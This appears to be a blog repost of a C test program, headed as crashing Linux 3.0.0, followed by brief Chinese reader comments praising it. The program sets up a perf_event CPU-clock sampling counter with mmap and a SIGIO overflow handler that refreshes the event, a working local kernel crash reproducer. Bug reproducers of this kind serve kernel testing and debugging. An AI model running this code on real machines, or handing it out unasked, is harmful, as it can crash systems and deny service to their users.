This test will crash Linux 3.0.0
#define _GNU_SOURCE 1 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <linux/perf_event.h> #include <sys/syscall.h> #include <unistd.h> #include <asm/unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <signal.h> #include <sys/prctl.h> #define MATRIX_SIZE 512 static double a[MATRIX_SIZE][MATRIX_SIZE]; static double b[MATRIX_SIZE][MATRIX_SIZE]; static double c[MATRIX_SIZE][MATRIX_SIZE]; static void naive_matrix_multiply(int quiet) { double s; int i,j,k; for(i=0;i<MATRIX_SIZE;i++) { for(j=0;j<MATRIX_SIZE;j++) { a[i][j]=(double)i*(double)j; b[i][j]=(double)i/(double)(j+5); } } for(j=0;j<MATRIX_SIZE;j++) { for(i=0;i<MATRIX_SIZE;i++) { s=0; for(k=0;k<MATRIX_SIZE;k++) { s+=a[i][k]*b[k][j]; } c[i][j] = s; } } s=0.0; for(i=0;i<MATRIX_SIZE;i++) { for(j=0;j<MATRIX_SIZE;j++) { s+=c[i][j]; } } if (!quiet) printf("Matrix multiply sum: s=%lfn",s); return; } static int total=0; void our_handler(int signum,siginfo_t *oh, void *blah) { int fd=oh->si_fd; ioctl(fd , PERF_EVENT_IOC_DISABLE,0); total++; ioctl(fd , PERF_EVENT_IOC_REFRESH,1); } int perf_event_open(struct perf_event_attr *hw_event_uptr, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags); } int main( int argc, char **argv ) { int fd; void *blargh; struct perf_event_attr pe; struct sigaction sa; memset(&sa, 0, sizeof(struct sigaction)); sa.sa_sigaction=our_handler; sa.sa_flags=SA_SIGINFO; if (sigaction(SIGIO,&sa,NULL)<0) { fprintf(stderr,"Error setting up signal handlern"); exit(1); } memset(&pe,0,sizeof(struct perf_event_attr)); pe.type=PERF_TYPE_SOFTWARE; pe.size=sizeof(struct perf_event_attr); pe.config=PERF_COUNT_SW_CPU_CLOCK; pe.sample_period=100000; pe.sample_type=PERF_SAMPLE_IP; pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID; pe.disabled=1; pe.pinned=1; pe.exclude_kernel=1; pe.exclude_hv=1; pe.wakeup_events=1; fd=perf_event_open(&pe,0,-1,-1,0); if (fd<0) { printf("Error openingn"); } blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0); fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC); fcntl(fd,F_SETSIG,SIGIO); fcntl(fd,F_SETOWN,getpid()); ioctl(fd,PERF_EVENT_IOC_RESET,0); ioctl(fd,PERF_EVENT_IOC_ENABLE,0); naive_matrix_multiply(0); ioctl(fd,PERF_EVENT_IOC_DISABLE,0); munmap(blargh,(1+2)*4096); close(fd); printf("Total overflows: %dn",total); return 0; }
是个好内容,楼主有心了,我爱你。继续努力!!!
不错,支持一下!
为了学习这个知识,到处找相关文章,在此也要感谢一下博主了。